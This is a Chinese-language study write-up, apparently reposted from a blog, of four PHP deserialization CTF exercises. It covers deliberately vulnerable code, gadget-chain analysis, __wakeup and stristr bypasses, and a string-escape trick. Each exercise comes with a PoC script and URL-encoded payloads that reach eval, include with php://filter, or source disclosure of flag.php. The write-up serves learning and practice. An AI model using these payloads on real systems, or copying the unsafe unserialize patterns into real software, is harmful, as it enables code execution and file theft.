Demo1
<?php
error_reporting(0); //关闭错误报告
class happy{
protected $file='demo1.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
if(!empty($this->file))
{
if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //过滤了文件名中的\\与/
show_source(dirname(__FILE__).'/'.$this->file); //打开文件操作
else
die('Wrong filename.');
}
}
function __wakeup(){
$this->file='demo1.php';
}
public function __toString()
{
return '';
}
}
if (!isset($_GET['file'])){
show_source('demo1.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?>
<!--password in flag.php-->
分析
看到unserialize
先找找看有无 __wakeup()、__destruct()
在happy
类中有 __destruct()
方法 并且如果$file
存在的话直接展示$file
的代码
但是注意到happy
类中还有 __wakeup()
方法 将$file
的值改变
在unserialize
执行__destruct()
要先执行__wakeup()
因此要想办法绕过__wakeup()
POC
<?php
class happy{
public $file='demo1.php';
}
$o = new happy();
echo serialize($o);
//O:5:"happy":1:{s:7:"\00*\00file";s:8:"flag.php";} \00为空字符
$s = 'O:5:"happy":2:{s:7:"'.chr(0).'*'.chr(0).'file";s:8:"flag.php";}';
echo base64_encode($s);
//Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
?>
注意:protected
属性在序列化过后参数前面的标识符为\00*\00
(\00为空字符) 但是用\00的时候不能成功输出 以因此使用chr(0)来拼接代替
构造payload
?file=Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
Demo2
<?php
show_source('demo2.php');
class test1
{
public $varr;
function __construct()
{
$this->varr = "demo2.php";
}
function __destruct()
{
if(file_exists($this->varr)){
echo "<br />文件".$this->varr."存在<br />";
}
}
}
class test2
{
public $varr;
public $obj;
function __construct()
{
$this->varr='123456';
$this->obj=null;
}
function __toString()
{
$this->obj->execute();
return $this->varr;
}
function __destruct()
{
echo "<br />这是f2的析构函数<br />";
}
}
class test3
{
public $varr;
function execute()
{
eval($this->varr);
}
function __destruct()
{
echo "<br />这是f3的析构函数<br />";
}
}
if (isset($_GET['x'])) {
unserialize($_GET['x']);
}
?>
分析
看到unserialize
找 __wakeup()、__destruct()
在test1
类中有 __destruct()
方法 其中会先判断file_exists()
class test1
{
function __destruct()
{
if(file_exists($this->varr)){
echo "<br />文件".$this->varr."存在<br />";
}
}
如果file_exists()
的值为对象时 会执行 __toString()
方法,并且$varr
是可控的
搜索__toString()
方法,在 test2
中有 __toString()
方法
class test2
{
public $varr;
public $obj;
function __construct()
{
$this->varr='123456';
$this->obj=null;
}
function __toString()
{
$this->obj->execute();
return $this->varr;
}
......
}
其中又指向 $this->obj->execute()
查找 execute()
方法 并且$varr
和 $obj;
是可控的
查找execute()
方法 参数直接执行eval()
在 test3
中有 execute()
方法 并且$varr
是可控的
class test3
{
public $varr;
function execute()
{
eval($this->varr);
}
......
}
POC
<?php
class test1{
public $varr;
function __construct()
{
$this->varr = new test2();
}
}
class test2
{
public $varr;
public $obj;
function __construct()
{
$this->varr='123456';
$this->obj=new test3();
}
}
class test3
{
public $varr = 'phpinfo();';
}
$o = new test1();
$s = serialize($o);
echo urlencode($s);
//O%3A5%3A%22test1%22%3A1%3A%7Bs%3A4%3A%22varr%22%3BO%3A5%3A%22test2%22%3A2%3A%7Bs%3A4%3A%22varr%22%3Bs%3A6%3A%22123456%22%3Bs%3A3%3A%22obj%22%3BO%3A5%3A%22test3%22%3A1%3A%7Bs%3A4%3A%22varr%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D
?>
注意:输出url编码 是为防止特殊字符转义
构造payload
?x=O%3A5%3A%22test1%22%3A1%3A%7Bs%3A4%3A%22varr%22%3BO%3A5%3A%22test2%22%3A2%3A%7Bs%3A4%3A%22varr%22%3Bs%3A6%3A%22123456%22%3Bs%3A3%3A%22obj%22%3BO%3A5%3A%22test3%22%3A1%3A%7Bs%3A4%3A%22varr%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D
Demo3
当尝试以调用函数的方式调用一个对象时,__invoke()
方法会被自动调用。
读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get()
函数。
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='demo3.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "demo3.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
看到unserialize
找 __wakeup()、__destruct()
在show
类中有 __wakeup()
方法 其中有$this->source
当 $source
为 Show
对象时会先执行 __construct
当执行__toString()
方法 其中 $source
和 $str
都是可控的
class Show{
public $source;
public $str;
public function __construct($file='demo3.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "demo3.php";
}
}
}
__toString()
方法指向 $this->str->source;
会发现没有 source
方法 但是在 Test
类中找到了 __get()
方法 其中 $p
可控 并且 return $function();
会触发 __invoke()
方法
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
在 Modifier
类中找到 __invoke()
方法 指向 append
方法 会执行 include()
就可以用php伪协议读文件
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
POC
<?php
class Modifier{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file='demo3.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return '666';
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = new Show();
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show();
$a->str = new Test();
$b = new Show($a);
$s = serialize($b);
echo $s;
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"demo3.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
echo '</br>';
echo urlencode($s);
//O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22demo3.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
?>
构造payload:
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22demo3.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
Demo4
//index.php
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!(get)\n";
}
?>
//common.php
<?php
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>
//class.php
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
eval('phpinfo();');
}
public function __toString(){
$this->KS();
return "";
}
}
?>
//play.php
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
echo "FPX Champion\n";
}
else{
echo "The Shy unstoppable\n";
}
?>
分析
在 index.php
传入 username
和 password
然后通过 player
方法将对象反序列化的值输入到文件里
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
// $username=1&$paassword=1
// O:6:"player":3:{s:7:"\0*\0user";s:1:"1";s:7:"\0*\0pass";s:1:"1";s:8:"\0*\0admin";i:0;}
在 play.php
会将存入文件的值反序列化
在 topsolo
类中找到 __destruct()
方法 指向 tp()
当传入的 $name
是方法或者对象时 执行函数 传入对象 调用 __invoke()
方法 $name
可控
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
在 midsolo
类中有 __invoke()
方法 指向 Gank()
方法 stristr
函数 当传的是对象 调用__toString()
方法
class midsolo{
protected $name;
class midsolo{
protected $name;
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
在 jungle
类中有 __toString()
方法 指向 KS()
方法 然后执行命令
class jungle{
protected $name = "";
public function KS(){
eval('phpinfo();');
}
public function __toString(){
$this->KS();
return "";
}
}
POC
<?php
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = new midsolo();
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = new jungle();
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "Th0r";
}
$o = new topsolo();
$s = serialize($o);
echo $s;
// O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:4:"Th0r";}}}
echo urlencode($s);
// O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D
绕过wakeup()
为了绕过wakeup() 将midsolo后的1修改为2
注意:wakeup失效影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10
O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":2:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:4:"Th0r";}}}`
O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D
先在class.php里传入参数试了试 发现一直不能将值传进去
百度得知
早期的 PHP 版本允许函数调用时传递的参数少于函数定义本身要求的参数个数,但当你调用函数时就会抛出一个参数丢失的警告。但在 PHP 7.1 以后,这些警告变成了一个 ArgumentCountError 的异常
绕过stristr()
当表示字符类型的s大写时,会被当成16进制解析。
因此将 name---> \6e\61\6d\65
,并将s改为S
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D
字符串逃逸
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
这里主要需要关注的是read函数 当在文件中读取字符串时 会将 \0*\0
变为 chr(0)."*".chr(0)
因此字符串数量减少了两个 从而达到逃逸
先将其传入查看
O:6:"player":3:{s:7:"%00*%00user";s:0:"";s:7:"%00*%00pass";s:130:"O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:4:"Th0r";}}}";s:8:"%00*%00admin";i:0;}
注意:%00在此表示空字符 以url编码的字符为准 这里可能造成url二次编码
需要的就是把 ";s:7:"%00*%00pass";s:130:"
注释掉 总共有23个字符
因此需要 23/2 +1 =12个 \0*\0
但需要补充一个字符 C
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
补充上之前注释掉的字符 ";s:7:"%00*%00pass";
这样password对应的就是对象
password=C";s:7:"%00*%00pass";O:6:"player":3:{s:7:"%00*%00user";s:0:"";s:7:"%00*%00pass";s:130:"O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:4:"Th0r";}}}";s:8:"%00*%00admin";i:0;}
payload:?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=C%22%3bs%3a7%3a%22%00%2A%00pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D
访问play.php,找到flag
参考资料:php反序列化练习题 - Th0r - 博客园 (cnblogs.com),我得先消化消化,我是把这位博主写的内容摘抄到csdn了,供给大家观看,也便于我学习